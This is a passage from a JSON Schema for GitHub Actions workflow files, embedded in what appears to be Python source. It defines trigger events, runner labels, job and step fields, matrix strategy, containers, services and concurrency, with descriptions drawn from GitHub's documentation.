},\n            \"required\": [\"name\"],\n            \"additionalProperties\": False\n        },\n        \"event\": {\n            \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows\",\n            \"type\": \"object\",\n            \"enum\": [\n                \"branch_protection_rule\",\n                \"check_run\",\n                \"check_suite\",\n                \"create\",\n                \"delete\",\n                \"deployment\",\n                \"deployment_status\",\n                \"discussion\",\n                \"discussion_comment\",\n                \"fork\",\n                \"gollum\",\n                \"issue_comment\",\n                \"issues\",\n                \"label\",\n                \"member\",\n                \"milestone\",\n                \"page_build\",\n                \"project\",\n                \"project_card\",\n                \"project_column\",\n                \"public\",\n                \"pull_request\",\n                \"pull_request_review\",\n                \"pull_request_review_comment\",\n                \"pull_request_target\",\n                \"push\",\n                \"registry_package\",\n                \"release\",\n                \"status\",\n                \"watch\",\n                \"workflow_call\",\n                \"workflow_dispatch\",\n                \"workflow_run\",\n                \"repository_dispatch\"\n            ]\n        },\n        \"eventObject\": {\n            \"oneOf\": [\n                {\n                    \"type\": \"object\"\n                },\n                {\n                    \"type\": \"null\"\n                }\n            ],\n            \"additionalProperties\": True\n        },\n        \"expressionSyntax\": {\n            \"type\": \"string\",\n            \"$comment\": \"escape `{` and `}` in pattern to be unicode compatible (#1360)\",\n            \"pattern\": \"^\\\\$\\\\{\\\\{(.|[\\r\\n])*\\\\}\\\\}$\"\n        },\n        \"stringContainingExpressionSyntax\": {\n            \"type\": \"string\",\n            \"$comment\": \"escape `{` and `}` in pattern to be unicode compatible (#1360)\",\n            \"pattern\": \"^.*\\\\$\\\\{\\\\{(.|[\\r\\n])*\\\\}\\\\}.*$\"\n        },\n        \"globs\": {\n            \"type\": \"array\",\n            \"items\": {\n                \"type\": \"string\",\n                \"minLength\": 1\n            },\n            \"minItems\": 1\n        },\n        \"machine\": {\n            \"type\": \"string\",\n            \"enum\": [\"linux\", \"macos\", \"windows\"]\n        },\n        \"name\": {\n            \"type\": \"string\",\n            \"pattern\": \"^[_a-zA-Z][a-zA-Z0-9_-]*$\"\n        },\n        \"path\": {\n            \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#onpushpull_requestpaths\",\n            \"$ref\": \"#/definitions/globs\",\n            \"description\": \"When using the push and pull_request events, you can configure a workflow to run when at least one file does not match paths-ignore or at least one modified file matches the configured paths. Path filters are not evaluated for pushes to tags.\\nThe paths-ignore and paths keywords accept glob patterns that use the * and ** wildcard characters to match more than one path name. For more information, see https://help.github.com/en/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#filter-pattern-cheat-sheet.\\nYou can exclude paths using two types of filters. You cannot use both of these filters for the same event in a workflow.\\n- paths-ignore - Use the paths-ignore filter when you only need to exclude path names.\\n- paths - Use the paths filter when you need to filter paths for positive matches and exclude paths.\"\n        },\n        \"ref\": {\n            \"properties\": {\n                \"branches\": {\n                    \"$ref\": \"#/definitions/branch\"\n                },\n                \"branches-ignore\": {\n                    \"$ref\": \"#/definitions/branch\"\n                },\n                \"tags\": {\n                    \"$ref\": \"#/definitions/branch\"\n                },\n                \"tags-ignore\": {\n                    \"$ref\": \"#/definitions/branch\"\n                },\n                \"paths\": {\n                    \"$ref\": \"#/definitions/path\"\n                },\n                \"paths-ignore\": {\n                    \"$ref\": \"#/definitions/path\"\n                }\n            },\n            \"oneOf\": [\n                {\n                    \"type\": \"object\",\n                    \"allOf\": [\n                        {\n                            \"not\": {\n                                \"required\": [\"branches\", \"branches-ignore\"]\n                            }\n                        },\n                        {\n                            \"not\": {\n                                \"required\": [\"tags\", \"tags-ignore\"]\n                            }\n                        },\n                        {\n                            \"not\": {\n                                \"required\": [\"paths\", \"paths-ignore\"]\n                            }\n                        }\n                    ]\n                },\n                {\n                    \"type\": \"null\"\n                }\n            ]\n        },\n        \"shell\": {\n            \"$comment\": \"https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsshell\",\n            \"description\": \"You can override the default shell settings in the runner's operating system using the shell keyword. You can use built-in shell keywords, or you can define a custom set of shell options.\",\n            \"anyOf\": [\n                {\n                    \"type\": \"string\"\n                },\n                {\n                    \"type\": \"string\",\n                    \"$comment\": \"https://help.github.com/en/actions/reference/workflow-syntax-for-github-actions#custom-shell\",\n                    \"enum\": [\"bash\", \"pwsh\", \"python\", \"sh\", \"cmd\", \"powershell\"]\n                }\n            ]\n        },\n        \"types\": {\n            \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#onevent_nametypes\",\n            \"description\": \"Selects the types of activity that will trigger a workflow run. Most GitHub events are triggered by more than one type of activity. For example, the event for the release resource is triggered when a release is published, unpublished, created, edited, deleted, or prereleased. The types keyword enables you to narrow down activity that causes the workflow to run. When only one activity type triggers a webhook event, the types keyword is unnecessary.\\nYou can use an array of event types. For more information about each event and their activity types, see https://help.github.com/en/articles/events-that-trigger-workflows#webhook-events.\",\n            \"type\": \"array\",\n            \"minItems\": 1\n        },\n        \"working-directory\": {\n            \"$comment\": \"https://help.github.com/en/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsrun\",\n            \"description\": \"Using the working-directory keyword, you can specify the working directory of where to run the command.\",\n            \"type\": \"string\"\n        },\n        \"jobNeeds\": {\n            \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idneeds\",\n            \"description\": \"Identifies any jobs that must complete successfully before this job will run. It can be a string or array of strings. If a job fails, all jobs that need it are skipped unless the jobs use a conditional statement that causes the job to continue.\",\n            \"oneOf\": [\n                {\n                    \"type\": \"array\",\n                    \"items\": {\n                        \"$ref\": \"#/definitions/name\"\n                    },\n                    \"minItems\": 1\n                },\n                {\n                    \"$ref\": \"#/definitions/name\"\n                }\n            ]\n        },\n        \"reusableWorkflowCallJob\": {\n            \"$comment\": \"https://docs.github.com/en/actions/learn-github-actions/reusing-workflows#calling-a-reusable-workflow\",\n            \"description\": \"Each job must have an id to associate with the job. The key job_id is a string and its value is a map of the job's configuration data. You must replace <job_id> with a string that is unique to the jobs object. The <job_id> must start with a letter or _ and contain only alphanumeric characters, -, or _.\",\n            \"type\": \"object\",\n            \"properties\": {\n                \"name\": {\n                    \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idname\",\n                    \"description\": \"The name of the job displayed on GitHub.\",\n                    \"type\": \"string\"\n                },\n                \"needs\": {\n                    \"$ref\": \"#/definitions/jobNeeds\"\n                },\n                \"permissions\": {\n                    \"$ref\": \"#/definitions/permissions-event\"\n                },\n                \"if\": {\n                    \"$comment\": \"https://help.github.com/en/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idif\",\n                    \"description\": \"You can use the if conditional to prevent a job from running unless a condition is met. You can use any supported context and expression to create a conditional.\\nExpressions in an if conditional do not require the ${{ }} syntax. For more information, see https://help.github.com/en/articles/contexts-and-expression-syntax-for-github-actions.\",\n                    \"type\": [\"boolean\", \"number\", \"string\"]\n                },\n                \"uses\": {\n                    \"$comment\": \"https://docs.github.com/en/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_iduses\",\n                    \"description\": \"The location and version of a reusable workflow file to run as a job, of the form './{path/to}/{localfile}.yml' or '{owner}/{repo}/{path}/{filename}@{ref}'. {ref} can be a SHA, a release tag, or a branch name. Using the commit SHA is the safest for stability and security.\",\n                    \"type\": \"string\",\n                    \"pattern\": \"^(.+/)+(.+)\\\\.(ya?ml)(@.+)?$\"\n                },\n                \"with\": {\n                    \"$comment\": \"https://docs.github.com/en/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_idwith\",\n                    \"description\": \"A map of inputs that are passed to the called workflow. Any inputs that you pass must match the input specifications defined in the called workflow. Unlike 'jobs.<job_id>.steps[*].with', the inputs you pass with 'jobs.<job_id>.with' are not be available as environment variables in the called workflow. Instead, you can reference the inputs by using the inputs context.\",\n                    \"$ref\": \"#/definitions/env\"\n                },\n                \"secrets\": {\n                    \"$comment\": \"https://docs.github.com/en/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_idsecrets\",\n                    \"description\": \"When a job is used to call a reusable workflow, you can use 'secrets' to provide a map of secrets that are passed to the called workflow. Any secrets that you pass must match the names defined in the called workflow.\",\n                    \"oneOf\": [\n                        {\n                            \"$ref\": \"#/definitions/env\"\n                        },\n                        {\n                            \"type\": \"string\",\n                            \"enum\": [\"inherit\"]\n                        }\n                    ]\n                },\n                \"strategy\": {\n                    \"$comment\": \"https://help.github.com/en/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategy\",\n                    \"description\": \"A strategy creates a build matrix for your jobs. You can define different variations of an environment to run each job in.\",\n                    \"type\": \"object\",\n                    \"properties\": {\n                        \"matrix\": {\n                            \"$comment\": \"https://help.github.com/en/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategymatrix\",\n                            \"description\": \"A build matrix is a set of different configurations of the virtual environment. For example you might run a job against more than one supported version of a language, operating system, or tool. Each configuration is a copy of the job that runs and reports a status.\\nYou can specify a matrix by supplying an array for the configuration options. For example, if the GitHub virtual environment supports Node.js versions 6, 8, and 10 you could specify an array of those versions in the matrix.\\nWhen you define a matrix of operating systems, you must set the required runs-on keyword to the operating system of the current job, rather than hard-coding the operating system name. To access the operating system name, you can use the matrix.os context parameter to set runs-on. For more information, see https://help.github.com/en/articles/contexts-and-expression-syntax-for-github-actions.\",\n                            \"oneOf\": [\n                                {\n                                    \"type\": \"object\"\n                                },\n                                {\n                                    \"$ref\": \"#/definitions/expressionSyntax\"\n                                }\n                            ],\n                            \"patternProperties\": {\n                                \"^(in|ex)clude$\": {\n                                    \"$comment\": \"https://help.github.com/en/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#example-including-configurations-in-a-matrix-build\",\n                                    \"type\": \"array\",\n                                    \"items\": {\n                                        \"type\": \"object\",\n                                        \"additionalProperties\": {\n                                            \"$ref\": \"#/definitions/configuration\"\n                                        }\n                                    },\n                                    \"minItems\": 1\n                                }\n                            },\n                            \"additionalProperties\": {\n                                \"oneOf\": [\n                                    {\n                                        \"type\": \"array\",\n                                        \"items\": {\n                                            \"$ref\": \"#/definitions/configuration\"\n                                        },\n                                        \"minItems\": 1\n                                    },\n                                    {\n                                        \"$ref\": \"#/definitions/expressionSyntax\"\n                                    }\n                                ]\n                            },\n                            \"minProperties\": 1\n                        },\n                        \"fail-fast\": {\n                            \"$comment\": \"https://help.github.com/en/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategyfail-fast\",\n                            \"description\": \"When set to true, GitHub cancels all in-progress jobs if any matrix job fails. Default: true\",\n                            \"type\": [\"boolean\", \"string\"],\n                            \"default\": True\n                        },\n                        \"max-parallel\": {\n                            \"$comment\": \"https://help.github.com/en/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategymax-parallel\",\n                            \"description\": \"The maximum number of jobs that can run simultaneously when using a matrix job strategy. By default, GitHub will maximize the number of jobs run in parallel depending on the available runners on GitHub-hosted virtual machines.\",\n                            \"type\": \"number\"\n                        }\n                    },\n                    \"required\": [\"matrix\"],\n                    \"additionalProperties\": False\n                },\n                \"concurrency\": {\n                    \"$comment\": \"https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions#jobsjob_idconcurrency\",\n                    \"description\": \"Concurrency ensures that only a single job or workflow using the same concurrency group will run at a time. A concurrency group can be any string or expression. The expression can use any context except for the secrets context. \\nYou can also specify concurrency at the workflow level. \\nWhen a concurrent job or workflow is queued, if another job or workflow using the same concurrency group in the repository is in progress, the queued job or workflow will be pending. Any previously pending job or workflow in the concurrency group will be canceled. To also cancel any currently running job or workflow in the same concurrency group, specify cancel-in-progress: true.\",\n                    \"oneOf\": [\n                        {\n                            \"type\": \"string\"\n                        },\n                        {\n                            \"$ref\": \"#/definitions/concurrency\"\n                        }\n                    ]\n                }\n            },\n            \"additionalProperties\": {\n                \"runs-on\": {\n                    \"$comment\": \"\",\n                    \"description\": \"Runs-on inside a job.\",\n                    \"type\": \"string\"\n                }\n            }\n        },\n        \"normalJob\": {\n            \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_id\",\n            \"description\": \"Each job must have an id to associate with the job. The key job_id is a string and its value is a map of the job's configuration data. You must replace <job_id> with a string that is unique to the jobs object. The <job_id> must start with a letter or _ and contain only alphanumeric characters, -, or _.\",\n            \"type\": \"object\",\n            \"properties\": {\n                \"name\": {\n                    \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idname\",\n                    \"description\": \"The name of the job displayed on GitHub.\",\n                    \"type\": \"string\"\n                },\n                \"needs\": {\n                    \"$ref\": \"#/definitions/jobNeeds\"\n                },\n                \"permissions\": {\n                    \"$ref\": \"#/definitions/permissions\"\n                },\n                \"runs-on\": {\n                    \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idruns-on\",\n                    \"description\": \"The type of machine to run the job on. The machine can be either a GitHub-hosted runner, or a self-hosted runner.\",\n                    \"oneOf\": [\n                        {\n                            \"$comment\": \"https://help.github.com/en/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#github-hosted-runners\",\n                            \"type\": \"string\",\n                            \"enum\": [\n                                \"macos-10.15\",\n                                \"macos-11\",\n                                \"macos-12\",\n                                \"macos-latest\",\n                                \"self-hosted\",\n                                \"ubuntu-18.04\",\n                                \"ubuntu-20.04\",\n                                \"ubuntu-22.04\",\n                                \"ubuntu-latest\",\n                                \"windows-2019\",\n                                \"windows-2022\",\n                                \"windows-latest\"\n                            ]\n                        },\n                        {\n                            \"$comment\": \"https://help.github.com/en/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#self-hosted-runners\",\n                            \"type\": \"array\",\n                            \"anyOf\": [\n                                {\n                                    \"items\": [\n                                        {\n                                            \"const\": \"self-hosted\"\n                                        }\n                                    ],\n                                    \"minItems\": 1,\n                                    \"additionalItems\": {\n                                        \"type\": \"string\"\n                                    }\n                                },\n                                {\n                                    \"items\": [\n                                        {\n                                            \"const\": \"self-hosted\"\n                                        },\n                                        {\n                                            \"$ref\": \"#/definitions/machine\"\n                                        }\n                                    ],\n                                    \"minItems\": 2,\n                                    \"additionalItems\": {\n                                        \"type\": \"string\"\n                                    }\n                                },\n                                {\n                                    \"items\": [\n                                        {\n                                            \"const\": \"self-hosted\"\n                                        },\n                                        {\n                                            \"$ref\": \"#/definitions/architecture\"\n                                        }\n                                    ],\n                                    \"minItems\": 2,\n                                    \"additionalItems\": {\n                                        \"type\": \"string\"\n                                    }\n                                },\n                                {\n                                    \"items\": [\n                                        {\n                                            \"const\": \"self-hosted\"\n                                        },\n                                        {\n                                            \"$ref\": \"#/definitions/machine\"\n                                        },\n                                        {\n                                            \"$ref\": \"#/definitions/architecture\"\n                                        }\n                                    ],\n                                    \"minItems\": 3,\n                                    \"additionalItems\": {\n                                        \"type\": \"string\"\n                                    }\n                                },\n                                {\n                                    \"items\": [\n                                        {\n                                            \"const\": \"self-hosted\"\n                                        },\n                                        {\n                                            \"$ref\": \"#/definitions/architecture\"\n                                        },\n                                        {\n                                            \"$ref\": \"#/definitions/machine\"\n                                        }\n                                    ],\n                                    \"minItems\": 3,\n                                    \"additionalItems\": {\n                                        \"type\": \"string\"\n                                    }\n                                }\n                            ]\n                        },\n                        {\n                            \"$ref\": \"#/definitions/stringContainingExpressionSyntax\"\n                        }\n                    ]\n                },\n                \"environment\": {\n                    \"$comment\": \"https://docs.github.com/en/free-pro-team@latest/actions/reference/workflow-syntax-for-github-actions#jobsjob_idenvironment\",\n                    \"description\": \"The environment that the job references.\",\n                    \"oneOf\": [\n                        {\n                            \"type\": \"string\"\n                        },\n                        {\n                            \"$ref\": \"#/definitions/environment\"\n                        }\n                    ]\n                },\n                \"outputs\": {\n                    \"$comment\": \"https://help.github.com/en/actions/reference/workflow-syntax-for-github-actions#jobsjobs_idoutputs\",\n                    \"description\": \"A map of outputs for a job. Job outputs are available to all downstream jobs that depend on this job.\",\n                    \"type\": \"object\",\n                    \"additionalProperties\": {\n                        \"type\": \"string\"\n                    },\n                    \"minProperties\": 1\n                },\n                \"env\": {\n                    \"$comment\": \"https://help.github.com/en/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idenv\",\n                    \"$ref\": \"#/definitions/env\",\n                    \"description\": \"A map of environment variables that are available to all steps in the job.\"\n                },\n                \"defaults\": {\n                    \"$comment\": \"https://help.github.com/en/actions/reference/workflow-syntax-for-github-actions#jobsjob_iddefaults\",\n                    \"$ref\": \"#/definitions/defaults\",\n                    \"description\": \"A map of default settings that will apply to all steps in the job.\"\n                },\n                \"if\": {\n                    \"$comment\": \"https://help.github.com/en/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idif\",\n                    \"description\": \"You can use the if conditional to prevent a job from running unless a condition is met. You can use any supported context and expression to create a conditional.\\nExpressions in an if conditional do not require the ${{ }} syntax. For more information, see https://help.github.com/en/articles/contexts-and-expression-syntax-for-github-actions.\",\n                    \"type\": [\"boolean\", \"number\", \"string\"]\n                },\n                \"steps\": {\n                    \"$comment\": \"https://help.github.com/en/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idsteps\",\n                    \"description\": \"A job contains a sequence of tasks called steps. Steps can run commands, run setup tasks, or run an action in your repository, a public repository, or an action published in a Docker registry. Not all steps run actions, but all actions run as a step. Each step runs in its own process in the virtual environment and has access to the workspace and filesystem. Because steps run in their own process, changes to environment variables are not preserved between steps. GitHub provides built-in steps to set up and complete a job.\\n\",\n                    \"type\": \"array\",\n                    \"items\": {\n                        \"type\": \"object\",\n                        \"properties\": {\n                            \"id\": {\n                                \"$comment\": \"https://help.github.com/en/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstepsid\",\n                                \"description\": \"A unique identifier for the step. You can use the id to reference the step in contexts. For more information, see https://help.github.com/en/articles/contexts-and-expression-syntax-for-github-actions.\",\n                                \"type\": \"string\"\n                            },\n                            \"if\": {\n                                \"$comment\": \"https://help.github.com/en/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstepsif\",\n                                \"description\": \"You can use the if conditional to prevent a step from running unless a condition is met. You can use any supported context and expression to create a conditional.\\nExpressions in an if conditional do not require the ${{ }} syntax. For more information, see https://help.github.com/en/articles/contexts-and-expression-syntax-for-github-actions.\",\n                                \"type\": [\"boolean\", \"number\", \"string\"]\n                            },\n                            \"name\": {\n                                \"$comment\": \"https://help.github.com/en/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstepsname\",\n                                \"description\": \"A name for your step to display on GitHub.\",\n                                \"type\": \"string\"\n                            },\n                            \"uses\": {\n                                \"$comment\": \"https://help.github.com/en/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstepsuses\",\n                                \"description\": \"Selects an action to run as part of a step in your job. An action is a reusable unit of code. You can use an action defined in the same repository as the workflow, a public repository, or in a published Docker container image (https://hub.docker.com/).\\nWe strongly recommend that you include the version of the action you are using by specifying a Git ref, SHA, or Docker tag number. If you don't specify a version, it could break your workflows or cause unexpected behavior when the action owner publishes an update.\\n- Using the commit SHA of a released action version is the safest for stability and security.\\n- Using the specific major action version allows you to receive critical fixes and security patches while still maintaining compatibility. It also assures that your workflow should still work.\\n- Using the master branch of an action may be convenient, but if someone releases a new major version with a breaking change, your workflow could break.\\nSome actions require inputs that you must set using the with keyword. Review the action's README file to determine the inputs required.\\nActions are either JavaScript files or Docker containers. If the action you're using is a Docker container you must run the job in a Linux virtual environment. For more details, see https://help.github.com/en/articles/virtual-environments-for-github-actions.\",\n                                \"type\": \"string\"\n                            },\n                            \"run\": {\n                                \"$comment\": \"https://help.github.com/en/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstepsrun\",\n                                \"description\": \"Runs command-line programs using the operating system's shell. If you do not provide a name, the step name will default to the text specified in the run command.\\nCommands run using non-login shells by default. You can choose a different shell and customize the shell used to run commands. For more information, see https://help.github.com/en/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#using-a-specific-shell.\\nEach run keyword represents a new process and shell in the virtual environment. When you provide multi-line commands, each line runs in the same shell.\",\n                                \"type\": \"string\"\n                            },\n                            \"working-directory\": {\n                                \"$ref\": \"#/definitions/working-directory\"\n                            },\n                            \"shell\": {\n                                \"$ref\": \"#/definitions/shell\"\n                            },\n                            \"with\": {\n                                \"$comment\": \"https://help.github.com/en/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstepswith\",\n                                \"$ref\": \"#/definitions/env\",\n                                \"description\": \"A map of the input parameters defined by the action. Each input parameter is a key/value pair. Input parameters are set as environment variables. The variable is prefixed with INPUT_ and converted to upper case.\",\n                                \"properties\": {\n                                    \"args\": {\n                                        \"$comment\": \"https://help.github.com/en/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstepswithargs\",\n                                        \"type\": \"string\"\n                                    },\n                                    \"entrypoint\": {\n                                        \"$comment\": \"https://help.github.com/en/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstepswithentrypoint\",\n                                        \"type\": \"string\"\n                                    }\n                                }\n                            },\n                            \"env\": {\n                                \"$comment\": \"https://help.github.com/en/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstepsenv\",\n                                \"$ref\": \"#/definitions/env\",\n                                \"description\": \"Sets environment variables for steps to use in the virtual environment. You can also set environment variables for the entire workflow or a job.\"\n                            },\n                            \"continue-on-error\": {\n                                \"$comment\": \"https://help.github.com/en/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstepscontinue-on-error\",\n                                \"description\": \"Prevents a job from failing when a step fails. Set to true to allow a job to pass when this step fails.\",\n                                \"oneOf\": [\n                                    {\n                                        \"type\": \"boolean\"\n                                    },\n                                    {\n                                        \"$ref\": \"#/definitions/expressionSyntax\"\n                                    }\n                                ],\n                                \"default\": False\n                            },\n                            \"timeout-minutes\": {\n                                \"$comment\": \"https://help.github.com/en/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstepstimeout-minutes\",\n                                \"description\": \"The maximum number of minutes to run the step before killing the process.\",\n                                \"type\": \"number\"\n                            }\n                        },\n                        \"dependencies\": {\n                            \"working-directory\": [\"run\"],\n                            \"shell\": [\"run\"]\n                        },\n                        \"additionalProperties\": False\n                    },\n                    \"minItems\": 1\n                },\n                \"timeout-minutes\": {\n                    \"$comment\": \"https://help.github.com/en/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idtimeout-minutes\",\n                    \"description\": \"The maximum number of minutes to let a workflow run before GitHub automatically cancels it. Default: 360\",\n                    \"type\": \"number\",\n                    \"default\": 360\n                },\n                \"strategy\": {\n                    \"$comment\": \"https://help.github.com/en/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategy\",\n                    \"description\": \"A strategy creates a build matrix for your jobs. You can define different variations of an environment to run each job in.\",\n                    \"type\": \"object\",\n                    \"properties\": {\n                        \"matrix\": {\n                            \"$comment\": \"https://help.github.com/en/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategymatrix\",\n                            \"description\": \"A build matrix is a set of different configurations of the virtual environment. For example you might run a job against more than one supported version of a language, operating system, or tool. Each configuration is a copy of the job that runs and reports a status.\\nYou can specify a matrix by supplying an array for the configuration options. For example, if the GitHub virtual environment supports Node.js versions 6, 8, and 10 you could specify an array of those versions in the matrix.\\nWhen you define a matrix of operating systems, you must set the required runs-on keyword to the operating system of the current job, rather than hard-coding the operating system name. To access the operating system name, you can use the matrix.os context parameter to set runs-on. For more information, see https://help.github.com/en/articles/contexts-and-expression-syntax-for-github-actions.\",\n                            \"oneOf\": [\n                                {\n                                    \"type\": \"object\"\n                                },\n                                {\n                                    \"$ref\": \"#/definitions/expressionSyntax\"\n                                }\n                            ],\n                            \"patternProperties\": {\n                                \"^(in|ex)clude$\": {\n                                    \"$comment\": \"https://help.github.com/en/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#example-including-configurations-in-a-matrix-build\",\n                                    \"type\": \"array\",\n                                    \"items\": {\n                                        \"type\": \"object\",\n                                        \"additionalProperties\": {\n                                            \"$ref\": \"#/definitions/configuration\"\n                                        }\n                                    },\n                                    \"minItems\": 1\n                                }\n                            },\n                            \"additionalProperties\": {\n                                \"oneOf\": [\n                                    {\n                                        \"type\": \"array\",\n                                        \"items\": {\n                                            \"$ref\": \"#/definitions/configuration\"\n                                        },\n                                        \"minItems\": 1\n                                    },\n                                    {\n                                        \"$ref\": \"#/definitions/expressionSyntax\"\n                                    }\n                                ]\n                            },\n                            \"minProperties\": 1\n                        },\n                        \"fail-fast\": {\n                            \"$comment\": \"https://help.github.com/en/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategyfail-fast\",\n                            \"description\": \"When set to true, GitHub cancels all in-progress jobs if any matrix job fails. Default: true\",\n                            \"type\": \"boolean\",\n                            \"default\": True\n                        },\n                        \"max-parallel\": {\n                            \"$comment\": \"https://help.github.com/en/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategymax-parallel\",\n                            \"description\": \"The maximum number of jobs that can run simultaneously when using a matrix job strategy. By default, GitHub will maximize the number of jobs run in parallel depending on the available runners on GitHub-hosted virtual machines.\",\n                            \"type\": \"number\"\n                        }\n                    },\n                    \"required\": [\"matrix\"],\n                    \"additionalProperties\": False\n                },\n                \"continue-on-error\": {\n                    \"$comment\": \"https://help.github.com/en/actions/reference/workflow-syntax-for-github-actions#jobsjob_idcontinue-on-error\",\n                    \"description\": \"Prevents a workflow run from failing when a job fails. Set to true to allow a workflow run to pass when this job fails.\",\n                    \"oneOf\": [\n                        {\n                            \"type\": \"boolean\"\n                        },\n                        {\n                            \"$ref\": \"#/definitions/expressionSyntax\"\n                        }\n                    ]\n                },\n                \"container\": {\n                    \"$comment\": \"https://help.github.com/en/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idcontainer\",\n                    \"description\": \"A container to run any steps in a job that don't already specify a container. If you have steps that use both script and container actions, the container actions will run as sibling containers on the same network with the same volume mounts.\\nIf you do not set a container, all steps will run directly on the host specified by runs-on unless a step refers to an action configured to run in a container.\",\n                    \"oneOf\": [\n                        {\n                            \"type\": \"string\"\n                        },\n                        {\n                            \"$ref\": \"#/definitions/container\"\n                        }\n                    ]\n                },\n                \"services\": {\n                    \"$comment\": \"https://help.github.com/en/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idservices\",\n                    \"description\": \"Additional containers to host services for a job in a workflow. These are useful for creating databases or cache services like redis. The runner on the virtual machine will automatically create a network and manage the life cycle of the service containers.\\nWhen you use a service container for a job or your step uses container actions, you don't need to set port information to access the service. Docker automatically exposes all ports between containers on the same network.\\nWhen both the job and the action run in a container, you can directly reference the container by its hostname. The hostname is automatically mapped to the service name.\\nWhen a step does not use a container action, you must access the service using localhost and bind the ports.\",\n                    \"type\": \"object\",\n                    \"additionalProperties\": {\n                        \"$ref\": \"#/definitions/container\"\n                    }\n                },\n                \"concurrency\": {\n                    \"$comment\": \"https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions#jobsjob_idconcurrency\",\n                    \"description\": \"Concurrency ensures that only a single job or workflow using the same concurrency group will run at a time. A concurrency group can be any string or expression. The expression can use any context except for the secrets context. \\nYou can also specify concurrency at the workflow level. \\nWhen a concurrent job or workflow is queued, if another job or workflow using the same concurrency group in the repository is in progress, the queued job or workflow will be pending. Any previously pending job or workflow in the concurrency group will be canceled. To also cancel any currently running job or workflow in the same concurrency group, specify cancel-in-progress: true.\",\n                    \"oneOf\": [\n                        {\n                            \"type\": \"string\"\n                        },\n                        {\n                            \"$ref\": \"#/definitions/concurrency\"\n                        }\n                    ]\n                }\n            },\n            \"required\": [\"runs-on\"],\n            \"additionalProperties\": {\n                \"run\": {\n                    \"$comment\": \"\",\n                    \"description\": \"Run inside a job.\",\n                    \"type\": \"string\"\n                }\n            }\n        }\n    },\n    \"properties\": {\n        \"name\": {\n            \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#name\",\n            \"description\": \"The name of your workflow. GitHub displays the names of your workflows on your repository's actions page. If you omit this field, GitHub sets the name to the workflow's filename.\",\n            \"type\": \"string\"\n        },\n        \"run-name\": {\n            \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#run-name\",\n            \"description\": \"A name for your workflow run. You can use the name to filter job runs in the dashboard and in the REST API.\",\n            \"type\": \"string\"\n        },\n        \"on\": {\n            \"$comment\": \"https://help.github.com/en/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#on\",\n            \"description\": \"The name of the GitHub event that triggers the workflow. You can provide a single event string, array of events, array of event types, or an event configuration map that schedules a workflow or restricts the execution of a workflow to specific files, tags, or branch changes. For a list of available events, see https://help.github.com/en/github/automating-your-workflow-with-github-actions/events-that-trigger-workflows.\",\n            \"oneOf\": [\n                {\n                    \"$ref\": \"#/definitions/event\"\n                },\n                {\n                    \"type\": \"object\",\n                    